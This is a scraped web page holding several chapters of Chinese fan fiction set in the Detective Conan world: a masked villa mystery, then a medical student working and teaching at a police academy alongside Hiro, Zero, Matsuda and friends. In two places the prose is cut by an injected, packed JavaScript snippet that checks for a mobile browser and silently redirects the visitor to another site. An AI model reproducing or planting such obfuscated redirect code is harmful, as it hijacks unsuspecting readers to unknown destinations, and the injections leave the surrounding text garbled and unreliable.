那么跟爽快人也就不再绕圈子。 “所以,你决定利用自己的推理能力,对即将到来的危机进行预判和防范。” 有里把已经冷掉的杯子放回原位,“这次,你要主动破局。” “说的不错,”小田和野现在是真心地笑出声来,“我能问你一个问题吗,你刚刚是怎么确定你的同伴换了人的?” 这是要多么熟悉,才能在半夜这种精神状态疲惫,又在一方可以伪造了相似的身形的情况下迅速识别出来啊? “这个……是秘密哦。” 她把一直扶在后腰上的手落回到腿上,起身离开。 —————— “你为什么会出现在这里。” 诸伏景光迅速地将罪魁祸首制服,这会犯人已经被他打晕,用提前准备好的绳索绑在那里。…… “因为我突发奇想觉得不应该打扰人家兄妹度假的时机。” 她绕着诸伏景光转了一圈,确认对方身上没有任何受伤的痕迹才停下。 “这个理由也太不走心了……”诸伏景光张开双手配合她的检查,在自己做足准备的情况下还受伤是不是太没有面子了。 “那么实话就是,我担心你。” 夜晚让暧昧的话被平静而真挚地说出口,但这确实就是有里现在所想。 ———— 晚上的三次恶作剧未免有些太过分。 唯一能想到的理由就是有人设计这一切为了找出某个人。 那些规则看起来玄乎,但其实并不苛刻。 【1.不要让任何人知道你的真实身份。】 【2.用餐时间前十五分钟请勿离开自己的座位。】 【3.午夜12点到凌晨四点是别墅的特殊时间,听到奇怪的声音或看到奇怪的事情请保持镇定。】 【4.请不要进入别人的房间。】 【5.出门请结伴。】 这些规则每一条都是在指向第一条,不要让任何人知道你的身份。 唯一聚集的用餐时间被限定15分钟不得离席。 夜晚听到声响请保持镇定——不管你是不要出来查看还是记得带上面具。 进入别人的房间可能会识破面具下的真实面孔。 出门请结伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12792781|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是直接遏制了凶手的单人行动路线。 刚刚她那句话的出口,让房间气氛变得有些尴尬。 有里移开话题,“其实小田和野隐藏的还不错。” “在看到罗丝孤身前来的时候就准备了成套的面具,大家自然都会产生这两位是一起到来的观念。” “在吃饭的时候他大声提醒罗丝小姐,当然是为了让他这一套规则论继续下去……” “大门前的争执被罗丝小姐甩开搭在肩上的手,也让人觉得是小情侣间的打闹。” 其实完全是陌生人间的莫名其妙。 “但是只给了我们二人间是不是会让人觉得有点不对劲。” 诸伏景光看了她一眼没说话,这个事实他已经和片冈正一确认过。 这是对方特地给有里申请的——因为预料她会带着自己的女性友人前来,而且又是完全陌生的聚会,所以也算是破了例。 当然,因为种种原因在在门口和有里换了房间,反而更好地为小田和野迷惑了身份。 “不过还好,要是我是凶手也会对这两个二人间的人多疑,不算太扎眼。” 有里没过多纠结——从事实状态上也表示出这并没有给小田和野增加困难。 诸伏景光也当然不会揭穿片冈正一那点小心思——虽然某种程度上利用了自己的妹妹,但自己也不会提前替对方开口挑破。 “只是不巧,第一次声响,在夜晚戴了面具的除了我们,就是两位主角了。” “而我们一起行动的痕迹又太过明显,所以那个时候基本上就是名牌阶段。” “这样白天小田和野的动作也就太过明显,所以你是第二次回来之后找他换了身份。” “准确的说,我是在犯人‘迷晕我’,拿走我的装备之后找到小田和野的。”诸伏景光开口,“主动找上门可能反而会让犯人有所防备,所以干脆在这里守株待兔。” “该说什么,不愧是你吗?”有里反问了一句,谁都听得出来她现在心情不好。 交流过后,两人之间的空气流速似乎又变得有些迟缓。 “抱歉。” “不要道歉。” 月光开始变得柔和,有里轻轻抬头,声音如同潺潺溪流般温柔而真挚:“你知道吗?我从来没有怀疑诸伏景光能做到他想做的任何事。” 这不是因为她开了挂——知道诸伏景光的未来发展前途一片光明,只是单单从这十几年的认知里得到的,她无比笃定的事实。 有里继续开口,“可这和我对你的担心并不冲突。我考虑过自己贸然加入进来会不会反而对你的计划产生了困扰,如果我刚刚猜测的一切都是错的那么结果我是否能够承受……” “但是刚刚在走廊里,我清楚地确认了她不是你的那一刻,我真的很害怕。” 诸伏景光从她最后的话中隐约听到了颤音,于是他抬起手轻轻按在她头顶,声音温和,带了点安慰,“我在这里。” 他当然在这里。 或许是这么多年生活地过于安稳,以至于有里不合时宜地响起了未来降谷零提起他时落寞的眼神。 她在害怕的是什么…… 34.警察学校 “诶呀诶呀,真是了不起的发言。”有里拿着手机,点开录音功能对刚刚口出狂言的人晃了一圈,“需要我在校园的广播里帮你外放一下吗?” 有里在松田阵平出手之前就关闭了屏幕——知道自己动作没他快,但没关系,他又解不了锁。 敏捷抢过手机的松田阵平只能把东西物归原主。 不对,他好像忽略了什么? “你怎么会在这里?”松田阵平诧异。 “这不是有里酱吗?”这是萩原研二。 “有里!”诸伏景光抬头。 降谷零则抓住了重点,“你和他们也认识?”。 而一起的那位看起来高大威猛的,完全就是一副老大哥的形象的男士则投来了探究的目光。 —————— 每年六月,警察学校都会招收一批新生,今天是他们正式上课的第一天。 降谷零和松田阵平在昨天晚上就莫名其妙地打了一架。 对此,作为两位的幼驯染——诸伏景光和萩原研二,只能半夜爬起来给他俩处理伤口。 而新选出来的班长伊达航,则看破不说破帮他们替鬼冢教官圆了过去。 虽然这个借口相当荒谬——打蟑螂能打成这个样子吗? 不过,诸伏景光托腮看着降谷零和对面的松田同学斗嘴,两个人虽然现在似乎看彼此非常不顺眼。 但是他总觉得未来zero会和松田阵平成为相当不错的朋友。 所以午餐的时候,诸伏景光特意选择了松田阵平斜对面的位置。 降谷零这会儿不出意外地和昨晚才动过手的同学面对面坐下。 “我说,刚刚在课上,你怎么忽然改变想法了?”降谷零倒是对于坐在哪里没有什么意见,再加上他这会确实也是有疑问。 诸伏景光虽然没插话,但咀嚼的速度也明显变慢了,他也很好奇。 方才在鬼冢教官提问的时候,松田阵平可以做出了对于警察的那一番慷慨激昂的宣言。 所以—— “你应该是很讨厌警察的,不是吗?”降谷零可是记得昨晚,这位马自达同学对于自己励志成为一名警察的话语。 作出了让人相当不爽且不理解的点评。 降谷零面带微笑,感觉自己好像掌握了什么真谛,“难道你这人喜欢口是心非?” 可惜松田阵平脸上并没有浮现出他预想的被戳破后的恼怒,而是递过降谷零刚刚掉下的筷子和他认真道: “我的想法并没有改变,警察什么的,都给我见鬼去吧。” —————— 有里就是在听到他们说这句话的时候走到松田阵平身后的。 大概是餐厅本就人流量大,所以松田阵平并未对自己身后的人投以太多警惕。 对面的诸伏景光倒是先发现了她的存在,但是也随着她演,没有立刻和她打招呼。 “你们好。”有里刻意向伊达航点了点头,这里她完全陌生的也就是这位了。 “你好,”不清楚自己受到特别待遇的伊达航起身问好 。 反正之后还会正式见面,有里也没有多待就和他们先道别了。 毕竟自己的伙伴还在另一张桌子那里等她。 伊达航这才反应过来,“她是谁啊,为什么你们都认识?” 诸伏景光和萩原研二简短地介绍了一下,感慨缘分真是妙不可言。 “我们竟然在大学的时候就离得这么近。” 虽然不是一个学院,但现在想来说不定有多少次的擦肩而过呢。 “其实这样说我们高中就离得很近啊。”萩原研二感慨,“我也参加了不少和帝丹高中的联谊活动,怎么没有一次见到你和降谷啊!” “因为完全不感兴趣。”搞懂了今天的全部困惑,降谷零开始认真享用自己的炒牛肉套餐。 “诶啊——”萩原研二拖长语调,用胳膊肘戳了戳自己装作一门心思低头吃饭,实际上已经把最不喜欢的蔬菜咽进肚子里的幼驯染,“这一点倒是和小阵平完全一样呢。” 松田阵平翻了个白眼,重新盛了一大勺咖喱送进自己嘴里。 咖喱和米饭果真是绝配。 ———— “前辈,那边是你认识的人吗?”学妹天野美琴好奇。 有里点头,“是认识的朋友。” 和她这次一起来到警察学校的小组一共有四个人,除了有里和天野美琴两个女生之外,还有两个男生——平田冈和川岛一郎。 每年警察学校和各高校的医学部都有合作,毕竟这里的学生都非常容易受伤,医务室总是忙不过来。 他们这些医学生来也算是实习锻炼。 不过因为时间从六月到十月,这意味着中间会占用掉一个暑假加上一些正常上课的时间。 所以主动报名的人倒是不多。 除去她之外都是本科生……虽然年纪相差不大倒是真的。 只有有里例外,她是主动报名的——渡边教授现在对于自己的爱徒很是放心,尤其她是今年刚升博一心跟着自己搞研究的样子。 极大提高了研究所的内卷程度啊! 虽然这四个月的时间确实耽误了一定进程,甚至于警察学校那边知道今年来的负责人是东大的博士生时也表示了震惊加再三确定。 毕竟这边的医学生,还是蛮值钱的…… 可是有里决定好的事情,加上导师这边的松口,也就顺理成章了。 警察学校这边自然也不会主动拒绝,于是负责人在秉持着既然是人才,来了就不要浪费的想法,试图“压榨”这位免费劳动力。 于是好端端坐在办公室的鬼冢八藏莫名有些心虚,上级想出的事情为什么让他来传达,他清咳了一声,恢复了教官平时的威严状态。 有里得到里面的回应后进入鬼冢八藏的办公室。 “请问您找我?” 他们几人在午饭过后还在医务室清点药品数量,以及常用药如果有缺少还需要尽快上报,器材的劳损也是个问题……对了,还有基本的消毒工作也要检查到位。 “是的,外守小姐,你先坐。” 虽然面前的人比自己小了很多,但是鬼冢八藏却很客气。 “您说。” 有里自觉和眼前的教官先生相比,自己当然是小辈,不过看对方的态度,这是有正事要谈? 鬼冢八藏思考该如何引入这个话题才不显得生硬—— “对了,我手底下有两个学生,昨天试练的时候不小心受了点伤,因为你们还没来,所以就先让他们去医务室自己处理了一下。” 这话倒是让有里惊讶——他们盘点药物的时候当然发现了摆放创可贴和碘伏的地方缺了点东西。 从上面的灰尘来看自然是最近才被人取走的。 而自己中午恰好就看见看降谷零和松田阵平脸上的伤口,那么答案就不言而喻了。 她没提,其他成员当然也不会主动说,不过这会,看来这位教官是替自己的学生把事情先揽下了。 “我知道了,这也是难免的,不过下次记得和我们登记一下。” 开玩笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12820277|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她再怎么说也不会去接降谷零和松田阵平的低。 “那是自然,我会和他们交代的。” 开了头,鬼冢八藏觉得两个人刚刚的氛围还不错,面前这位看起来也不像难说话的样子——毕竟一开始对这种高学历者难免有些奇妙的警惕和不安。 现在稍稍安心,鬼冢八藏也就把抽屉里那张表拿了出来,推到了有里面前。 有里自然地接过——这是课表,准确的说,上面的课程只有一门,班级倒是标在了不同位置。 其中的【医学基础知识】倒是很扎眼啊。 “所以您的意思是……”她大概能猜到这位负责人一开始这样拘谨的原因了。 鬼冢八藏干脆一口气把话说完,“我们希望您能帮忙上这一门课程,也算是首次新加的安排,还是希望针对这些未来的警察们能有一些帮助。” “啊……”所以原本她只用在医务室换班,现在还要上课,实验和科研那边又不可能不管,医院这段时间倒是不用再跑了——但还是要打三份工的状态。 “是要我来上吗?”有里再次确认。 “是这样希望的,”鬼冢八藏也觉得这样的安排真的十分突然,而且更像是在为难一个年轻人。 有里停顿了一下,轻轻捏了一下自己的眉心,很快意识到自己的动作似乎过于暴露自己的为难,又带着略显歉意的眼神看了鬼冢八藏一眼。 空气完全凝固住了,只有微弱的呼吸声彰显出这里还有活人的存在——实际上,鬼冢八藏恨不得完全屏蔽掉自己的呼吸声,在这位年纪很小,和自己手下学员差不多年纪的女生的相处中,他愈发感觉自己在为难人。 但为了上级的命令,保持沉默等待是他必须要做的。 “我明白了,” 终于,有里收下那份课表,“既然是对他们有帮助的事情,我愿意去做。” 她向已经喝了一杯水的鬼冢八藏露出一个真诚的微笑,“但是需要和我的导师协商一下。” “当然,那拜托你了。”鬼冢八藏深深松了一口气。 在刚刚静谧的时间里甚至已经想好了怎样接受上级的咆哮——要不然干脆让那两个闯了祸的代替他去传话,反正自己刚刚还帮忙背了锅。 “但是备课还有规划内容需要一定的时间,我们从下周开始可以吗?” 尘埃落定的有里已经完全投入到自己的新身份中。 “啊!那肯定!”鬼冢八藏接得飞快,得到这句话,事情应该差不多了吧! “既然这样,”有里思考了一下,从警察学校往返她的住宿通勤还是需要一定的时间,本身他们四个人换班的话其实还好——只需要值夜班的人在医务室凑合一个晚上。 现在自己如果固定每周都要给不同的班级上课,而且几乎天天都排了课的话。 “这里还有多余的宿舍可以安排给我吗?” 交通上极大程度地节省了时间,资料她可以用电脑在这里整理,刚转博主要还是先把渡边教授给她的那一厚塌文献看完,跟上老师的思路,确定研究计划。 实验就趁着周末去学校加班好了。 不过住宿的事情要是实在不行……有里只能考虑在附近短暂地租四个月的房子了。 “当然可以!”鬼冢八藏立刻答应——他相信自己前脚把这个消息告诉上级之后,那边就会立刻派人把寝室钥匙送到这位年轻的博士手上。 甚至在此之前还会派人全方面消一遍毒——不是说医学生都很注重细菌和卫生。 自己手底下那几个绝对能把地面擦得反光。 35.教官遇险 下午三点,几个月没来人的医务室终于被他们清理干净,整理出来的药材名单和需求被有里记录下来稍后上报。 “明天正式开始,白天两个人在这里,早上八点到晚上六点,确保任何时候有一个人在办公室。” “晚上八点一个人接班,到次日早上八点交班,在这里凑合一个晚上,然后连休两天。” 有里把自己提前排好的值班表发给他们,“当然,晚上有急事可以找我。” “我应该这四个月会一直住在这里。” 其他三位同学倒是听说了警校这边有让有里带课的安排——但是对于前辈直接在这边留住还是保持了一点震惊…… 当然,也松了口气——作为低年级的几个人已经做好了来这边做苦力的觉悟,现在最靠谱的前辈在这里蹲守,应该不会出什么大问题,而且承担了最多的任务量。 虽然没有人明说,但确实是连轴转的日常啊。 有里看他们沉默,主动开口,“放心,我会去和学校那边申请补助的。” “太好了,谢谢学姐!”天野美琴最先反应过来。 实际上整体来讲大家对于这份任务称不上十分抗拒,再怎么说也是积累经验的事情,而且率先进入警察学校也是经历了重重关卡——虽然大多数是心里测试,但来之不易的身份总归让人更加愉悦。 不过有额外的奖励当然还是令人喜悦。 加上不知道为什么,总感觉在警校里承担医疗保证的工作会异常轻松——三个小朋友今天围观了他们的训练,现在倒是有一致的想法,好像这里的人都是大猩猩一样的存在,感觉很难受伤? 才怪。 “不好了,我们教官脖子被勒住了!” 一名学生喘着气跑进医务室的房间。 什么情况? 在医院急诊轮过班的有里最先反应过来,拿过柜子里的AED,“川岛拿上急救箱跟我走,你们两个在这里待命。” 没再敢多耽误时间,路上几位同学说明了情况。 真是大糟糕——这玩意的严重程度可比他们大学期间医务室会遇到的情况要焦急得多。 川岛头上也出了一层薄汗,“我们的黄金抢救时间只有三分钟。” 他只是一个普普通通的学生啊,这是第一次遇见这种事情。 从医务室到训练室往返起码也需要五分钟。 这种情况自己先焦虑是绝对要避免的事情。 “别心急,说不定他们已经割断了绳子把人救下来了。” 虽然在奔跑的时候她很不想说话,但稳定川岛的情绪也是必要的事情,有里微微喘气,拉住前面的学生,借力加快了步伐。 那当然是谎话,被安全绳卡住脖子非常麻烦,这种材质非常坚固,用普通的刀具很难快速割断。 “对!”川岛深呼吸调整了一下步伐,又跑在了前面。 “医生来了!”来通知的同学猛地打开射击训练室的门。 有里和川岛一郎稍微落后一步,但推开门并不是预料到凶残画面。 学生们的欢呼声充斥着整间训练室——前面的两位同学也傻了眼。 房顶还维持着破损状态,上面还悬挂着一条截断的绳子,足以补全刚刚这里的危机画面。 当事人被围在中间,聚集的学生自动给他们让开了一条路。 伊达航陪在鬼冢教官旁边,命悬一线的鬼冢八藏这会已经恢复了意识,看来真的采取了非常及时的抢救措施。 诸伏景光还是半跪在地上,扶着维修的工作人员——这会还是昏迷不醒的状态。 有里让川岛一郎去检查鬼冢八藏身上是否还有其他不适,若有伤口也需要包扎。 “他是怎么回事?” 被勒住脖子的人这会倒是平稳,那这位维修人员又是什么情况,有里搭上他的脉搏询问。 她下意识地想去摸口袋里的手机,发现走得时候太着急,应该是被放在桌子上了。 诸伏景光注意到她的动作,在她瞥来视线的第一瞬间就摊手,“别看我,在警察学校的第一个月是不允许带手机的。” 算了……反正她只是要尽可能保持时间的精准性。 诸伏景光看她表情严肃,也没有立刻开口说话。 在心里粗略估计了一下时间计算,心率有点慢,有里拿出听诊器。 诸伏景光回答,“我记得他在刚刚坠落的时候还没有昏迷,甚至还发出了叫声……后来鬼冢教官把他接住之后不就就成了现在这样。” 进行维修的人员肯定不可能有恐高等症状,正常来讲身体素质应该也会定期检查,这位男士估摸着也是青年的年纪,初步排除了什么重大疾病。 “大概是血管迷走性的昏厥,还是要去医院做具体检查。” 在特殊情况下,因为精神过度紧张,大脑导致了供血不足而引发的,患者会出现短暂性的意识丧失。 有里收起工具,装备都没用上也是好事。 “啊……”诸伏景光虽然每太了解过这种专业术语,不过看见她的动作也知道这位先生脱离了生命危险,松了一口气。 “前辈,我这里也OK。”川岛一郎向她招手。 有里点头,“辛苦了。” 虽然经历鬼门关的不是自己,川岛一郎现在后背全被打湿了,所以人不要轻 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“因为小时候是一个小学的原因吧,虽然中间好几年没有联系……可能儿时的朋友本就容易交心。”降谷零斜靠在墙面上,说起来自己和hiro也是这样,小学相识一路一起长大,可以说是陪伴了彼此完全的成长期啊。 对于刚刚在抢救之前还在和松田阵平争执这件事情,两人都默契地选择了闭嘴,那种剑拔弩张的气氛也缓和了点。 当然,或许还有对此彼此能力的认可——当然两位都不会主动挑破这一点的。 话虽如此,降谷零想,至于这家伙为什么想要当警察,自己还是要找个机会弄清楚的。 “她不会是因为诸伏在这里,才申请来警察学校的吧。”萩原研二挑眉,有一个大胆的猜测。 “怎么可能?”降谷零否认地很快——甚至没什么思考。 “那家伙是我从小到大见过最有规划的人了,基本上总是总在同龄人的前面,感觉把自己逼得很紧的样子。” 这么想来确实有点奇怪,降谷零就没想过有里会做这种“投入时间成本巨大,收益又不明显”的事情。 “我说你们,”伊达航插腰出现在两个越聊越远的同学身后,“在说什么怎么不让我听见。” 后续鬼冢教官考虑到这也是情况紧急之下,降谷零才会在非教学时间使用枪具,也就向上申请免除了处分。 当然听说这件事情之后,松田阵平对此表示理所应当,甚至露出了这还差不多的神态——拜托,我们这样做还是为了救他诶。 36.警校生活 鬼冢八藏回到办公室,虽然拦住了今天那几名学生的处分,当然规矩还是不能变。 于是这五名擅自动用枪具的警校生在第二天晨练之前,就被派遣到了警察学校门口——帮忙搬行李。 当然,没出这档子事自己他也是这样打算的——反正天天不让他省心,自己看他们干活就高兴? 松田阵平还和自己的幼驯染一起和那位私藏子弹的同学“打了招呼”,对方现在还在乖乖打扫卫生间和浴室——一个人的工作量确实不小呢,但能做出这种明显违反纪律的事情,没有被立刻开除都算好的。 —————— 第二天一大早,几个人都神色倦怠地在大门口汇合,哪怕是看起来精力最旺盛的伊达航,这会也掩盖不下眼皮底下浓浓的困意。 降谷零昨晚在天台上和松田阵平聊过之后,交换了彼此选择就读警察学校的原因。 总之两个人的答案都意外地……不那么正经。 这会松田阵平已经自觉站到了降谷零旁边。 到底是谁早上五点来啊! 这人用的是哪国的时间。 顶着早上起来还没完全被压下去的一头卷发,松田阵平疲惫地打了个哈欠,“怎么会有现在才住进来的人,而且教官竟然派了五个人来帮忙。” 降谷零则是眨了眨眼,“现在才来的肯定不是学生啊,估计是比鬼冢教官还要厉害的高层,要不然你的‘复仇’计划从这个人开始。” 松田阵平知道这是玩笑话,只是白了他一眼,没接话。 不知道两个人手搭着背在前面低头窃窃私语些什么,反而是曾经与之形影不离的幼驯染们被扔在了身后。 “真的一天过去关系就能这么好,太难得了。”萩原研二笑着说,小阵平的性格他再了解不过,难得遇上这么投缘的朋友呢。 “是啊……太意外了。”诸伏景光附和,不过这样也很好呢。 一辆白色的轿车停在警察学校门口,有里从驾驶室上下来,搁老远就看到了在大门口等待自己的几个熟人——除了太熟的缘故,当然也有这几位的池面光环加成。 看帅哥能让人变年轻科不科学她不确定,但是使人心情愉悦一定不是盖的。 所以有里盯着几个人没掩饰的震惊面孔,十分很顺手地把钥匙递给诸伏景光。 这当然不是什么拉风的跑车——在经济条件允许的情况下她当然不介意花费开销购买自己交通工具。 但是考虑到自己又不是会经常上演生死时速飙车的人,在选择车型还是以安全加舒适为主,所以在销售的建议下选了沃尔沃系列。 从看到下车的好友,再到接过车钥匙一脸懵的诸伏景光此刻终于回过神,问出了在场的其余四位都想问的问题,“你怎么会住在这里?” “说来话长……”关于任教的事情,她多少还是想瞒着这几个,到时候突然出现在教室听到他们都得乖乖听话,不是很有意思? 当然,她注意到松田阵平的表情似乎有点尴尬? 这小子刚刚说她坏话了? 但是一会还得“用”他们,所以现在这不是重点。 警察学校校内禁止外来车辆进入,但是鬼冢教官帮她向上级申请了通行证,她现在需要去和门口的安保人员核对。 顺便一提,这里的安保人员都是警察学校的学生,两人一组换班。 安全感爆棚。 “麻烦你先停到宿舍楼底下吧,”有里十分熟稔拍了拍自己的小伙伴,“毕竟我不认识里面的路,与其听你们头口指挥,这样不是方便的多。” 反正诸伏景光拿了驾照的事情她已经清楚。 一大早被安排得明明白白的诸伏景光在几个好久没动过车的同期跃跃欲试的眼神中,坚定地握紧了手里的钥匙——开玩笑,要是车有什么问题,自己一定逃不了干系。 在核验过后,降谷零已经落座副驾驶的位置,和自己的幼驯染先行离开,其他几个人就留下陪着有里慢慢往女生宿舍的方向走,一路上顺便给她指明了有里昨天没有探索到的区域。 几个人慢吞吞走到宿舍楼的时候已经五点过半。降谷零和诸伏景光斜靠在宿舍外的墙壁上正平静着自己的呼吸,早上的这个温度还能出汗,足以见得有里的行李有多沉,看来累得够呛。 两个人开车过来自然很近,不过剩下几个人真是拖延时间的一把好手,诸伏景光和降谷零干脆已经把行李从后备箱卸到公寓门口,这会诸伏景光去停车场停了一趟车已经回来了。 萩原—带路人—研二面上没有丝毫心虚,只是给了两个能干的同期一个大大的赞。 “那么就到这里为止,女生宿舍,男生止步。”有里上前确认小推车上自己的行李数量没有漏下的,同样给两个靠谱的好友两个大大的好评——尤其是降谷零还cue到这个小推车也是诸伏景光去停完车之后从后勤人员那里顺便搞来的。 要不是这个,有里还真有些头疼再搬一次行李,早晨也是搬到一楼的时候磕磕撞撞惊动了不远处警亭的值班警官,对方好心地帮她把东西搬到了车上。 “咳……你进去之后一个人也小心点?”诸伏景光是万万没想到她的行李这么多的……明明只是四个月的时间而已。 有里叹了口气,她又不像这群学生每天穿着警校的制服——自己在这里上课总是要换衣服的吧。 还只是带了夏天的衣服就已经堆满了两箱……再加上一些自己专业上要用的东西,又重又多,总之小推车是装满了。 可惜接下来的事情真的只能自己干。 有里略带遗憾地摇了摇头,“就算几位都是公认的帅哥,清晨突然出现在女生宿舍楼层里也会吓人一跳的。” “不过我的宿舍在一楼,所以想起来也还好,真是太感谢你们了。” “这样一来你几乎完全都没让我们帮什么忙啊 。”作为最守规矩,无限执行命令的班长,再加上是在场和有里相对最陌生的人,伊达航看上去有些不好意思——明明他们几位是因为受罚才来的,显然倒是空落了一个人情。 “本身就是你们帮我,所以这么早能到我已经很感激了。”有里客气地回答。 “对了……”她蹲下从袋子里翻找,随后递给了降谷零和松田阵平,“这是消肿的药,也能缓解疼痛。” 松田阵平拿着这管白色的膏药在阳光下看了看,“怎么也没有使用说明和出厂说明之类的。” 好吧,包装是简陋了一点,甚至带着点三无产品的意思…… “药效应该是不错的,”私底下没少和自己互怼的降谷零居然替她解释? “你就安心用吧。” 有里打量了这位金发黑皮的准警官先生一眼——目前脸颊一侧肿着贴着创可贴的人,好像上了警校性格又沉稳了不少。 怎么说,现在他往那一站就有一种很安心的感觉……尤其是昨天看到这几位身着制服的样子。 太出挑了。 在降谷零解释之后,松田阵平琢磨了一下,也意识到这是出自谁之手,虽然在心里也依然对于药效有待观察,总之是好意。 “谢了。” “不用,”她只是不像自己在上课的时候看见这两位池面脸上成对称的创可贴装扮笑出声。 当然这话不能说。 “咳……你的钥匙别忘了。” 她倒是很放心自己,诸伏景光掂量了一下自己手里的钥匙……从进了学校就没离开他的手,这会要转身离开也忘了问他要。 —————— 原本以为要合宿的有里,看到宿舍门口每间房子的姓名牌倒是松了口气。 房间算是在一楼尽头,有里走到挂着自己名字的房间门口,大概十多平方米的大小。 进门是一个蓝色的衣柜,旁边连接了一个工作台,都配备了灯具。 床头对着落地窗,这么紧促的布局竟然每个宿舍还配备了一个阳台。 整体打扫得一尘不染,被套也是换了警校专用的新款——鬼冢教官费心了。 至于洗手间和洗漱池则是每层楼都有的公共区域,想来也是打扫得很干净。 更重要的澡堂……有里转了一圈,确定没在这层楼里找到——可能是在某个外面的公共区域吧,毕竟这里的学生每天一多半的时间都是在体力训练,结束后利用间隙冲个澡也是十分合理的事情。 鬼冢教官给了她一周的时间准备,今天起来得太早,这会简单收拾完才不到七点,正是学生们早训的时间,不过有里暂时没有那个心思去操场上看他们训练…… 房间里已经放好了给她的门禁卡和证明,在这所目前全封闭的警察学校里,有里已经可以拿着出入证进出自由了。 八点接班,有里伸了个懒腰,刚好去餐厅吃完早饭过去,她装好自己的资料和电脑,往那边走,餐厅和公寓区隔的不算很近,虽然看不清操场上训练的人影,但是口号已经响亮地传了出来。 大早上够提神醒脑的。 早餐有传统的日式料理,也有三明治这样的简餐可以选择,看起来营养非常丰富的样子。 她的选择困难症犯了。 “最好快一点哦,”餐厅的打饭阿姨笑眯眯看着停在打饭通道外面,已经停顿了将近三分钟的女生,提醒道。 在啊了一声之后,有里略显尴尬地走近了窗口,最终还是拿了方便的三明治作为这一餐——如果不知道吃什么,就吃三明治是她最近的人生信条。 这玩意营养均衡还顶饱,关键是抗饿,而且基本上在每家便利店都能买到,实在是集合了各种优点于一身,并且早中晚都可以用它来当做正餐。 当有里刚刚取过加热好的三明治刚刚时,她就听到一阵嘈杂……甚至可以用轰炸式来形容的声音。 结束晨练的学生现在倒是褪去了刚醒来的困倦,一个个精神抖擞感觉能吃掉一整个食堂。 有里眼疾手快地拿着阿姨加热好的三明治走人——座位还是留给这群可爱的同学吧。 顺道又去了自助售卖机买了冰咖啡,想也是,警察学校里面肯定不会有咖啡店这样的存在吧。 嗯,和自己冲出来的速溶一个味……话说这晚上应该就是速溶类型的。 —————— 幸好警校的生活……或者说同学们的意外状况没有想象中那么多,当然,这份想象完全基于昨天那种突发的紧急状况,三个小朋友一致在心里刷新了在警察学校的生存难度。 今天和有里一起值班的是天野美琴。 这会她正处理完一位同学的擦伤,“我还以为天天都会有昨天那种意外事件……今天来可是做足了准备。” “怎么会,”丝毫不知道三个人内心所想的有里笑着摇头,“要是在警察学校里面总是出这种事情,那才会让公众焦虑吧。” 而且来处理伤口的同学也没有很多——要知道这群学生一天机会一多半的时间都是体能体力方面的训练,说明他们在保护别人之前也知道要保护好自己啊。 当然,估计也有同学是不在意这点小伤口吧……有里笔下停顿,上课的时候应该强调一下这一点。 “您说的太对了!”现在医务室没有别人,天野美琴通过一上午的相处,也看出来这位前辈并不和他们有太多隔阂,相当随和的样子,所以也放松了些。 有里作为这里的大师姐,觉得可以给这些孩子找点事情练习练习,“隔壁我让他们空出来了一间房间,没事可以去练练手。” 天野美琴的笑容凝固住了……她是不是太放纵了以至于前辈看自己不满。 “外科缝合是要考试的吧,我昨天去学校取了东西,这样你们开学表现得应该会很不错。” 这是魔鬼!魔鬼啊! 天野美琴颤颤巍巍地站起来,把刚拿出来准备摸会鱼的手机放回口袋,去了旁边的房间……天哪,昨天还是一间完全空荡荡的样子,今天就摆满了器械。 话说昨天这里还是他们自己动手打扫的——虽然不清楚有里让把这边清理出来干什么,但还是乖乖照做。 现在看来完全是给自己铺路啊。 这些器械确实都是有里今早运过来的,既然伊达航诚心诚意地想要帮忙,两个人再互相推辞也只是浪费时间还会使场面更加尴尬。 于是她拜托剩下的三个人去停车场找车,并把后座上的纸箱一起搬到医务室的这间空房间内——之前因为礼节性问题,诸伏景光和降谷零只是打开了后座并把有里和他们指过的行李搬了下来,没有打开后座。 钥匙本来被拜托放在桌子上,不过寻找一圈未果的有里大概猜测到他们的意图——毕竟是鬼冢物品,医务室又24小时不锁门,所以不敢直接放在这里。 难道是经历过同学偷子|弹之后,这几个人有了一众PTSD? 总之也是心思缜密的表现。 当然那靠谱的三个人大概是知道这间房间会用来干什么,还不知从哪给她搞来了几个操作台和灯具。 器材当然要等她自己放,但确实是帮了大忙,要不然今天是没办法让这些小朋友上手实操的。 毕竟按照资质他们几个目前是不能够直接拿真人动手的,但这里的学生万一真的出现什么情况自己忙不过来……那就太糟糕了。 那些友好的学生不知道会不会接受,她自己得先把把关吧。 …… 里面的天野美琴悄悄拿出手机一顿狂拍发给自己的另外两位战友——我们有福气了。 —————— 【医务室没有锁,所以车钥匙暂时在我这里,方便的话下午晚餐后交给你。】 有点复古的传话方式……有里最终在日程表的夹缝里看到这张纸露出了一点点边缘——虽然知道这是为了保证安全,但莫名有一种神秘组织进行交易的感觉? 怪刺激的。 晚上八点交班,有里考虑到自己本身住在这里,天野美琴又是一个女孩子,天色晚了回家难免让人担心,于是在六点之后就提前让她下班了。 既然三个人只是约了晚餐之后把钥匙给她,但是没有确定具体地点,她还是以不动应万变——在这里等着好了。 现在这种没有电话可以联系的情况确实不太方便呢。 第一天值班倒是给她提了个醒,应该在医务室准备一点小零食小饼干之类的。 不仅仅是预防低血糖的病人,他们自己也需要及时摄入能量—— 